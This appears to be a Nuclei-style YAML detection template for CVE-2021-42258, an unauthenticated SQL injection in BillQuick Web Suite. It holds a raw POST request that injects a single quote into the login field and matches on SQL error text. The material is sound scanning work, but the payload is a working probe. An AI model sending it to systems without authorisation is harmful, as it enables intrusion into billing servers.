73 lines
2.6 KiB
YAML
73 lines
2.6 KiB
YAML
id: CVE-2021-42258
|
|
|
|
info:
|
|
name: BillQuick Web Suite SQL Injection
|
|
author: dwisiswant0
|
|
severity: critical
|
|
description: BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1 allows SQL injection for unauthenticated remote code execution. Successful exploitation can include the ability to execute arbitrary code as MSSQLSERVER$ via xp_cmdshell.
|
|
impact: |
|
|
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
|
|
remediation: |
|
|
Apply the latest security patches and updates provided by the vendor to fix the SQL Injection vulnerability in the BillQuick Web Suite.
|
|
reference:
|
|
- https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-42258
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-42258
|
|
cwe-id: CWE-89
|
|
epss-score: 0.96873
|
|
epss-percentile: 0.9964
|
|
cpe: cpe:2.3:a:bqe:billquick_web_suite:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: bqe
|
|
product: billquick_web_suite
|
|
tags: cve2021,cve,sqli,billquick,kev,bqe
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referer: {{BaseURL}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "System.Data.SqlClient.SqlException"
|
|
- "Incorrect syntax near"
|
|
- "_ACCOUNTLOCKED"
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: xpath
|
|
name: VS
|
|
internal: true
|
|
xpath:
|
|
- "/html/body/form/div/input[@id='__VIEWSTATE']"
|
|
attribute: value
|
|
|
|
- type: xpath
|
|
name: VSG
|
|
internal: true
|
|
xpath:
|
|
- "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
|
|
attribute: value
|
|
|
|
- type: xpath
|
|
name: EV
|
|
internal: true
|
|
xpath:
|
|
- "/html/body/form/div/input[@id='__EVENTVALIDATION']"
|
|
attribute: value
|
|
# digest: 490a0046304402203d5ae433ad950e1399fb20869efef7eb008d19b2da1ed5c1fb2a5aa30fa715e00220202a0ff40298f90e8c0cc483a92ce200ec3b6ba4bb9a4a2fe59a69f147ce4643:922c64590222798bb761d5b6d8e72950 |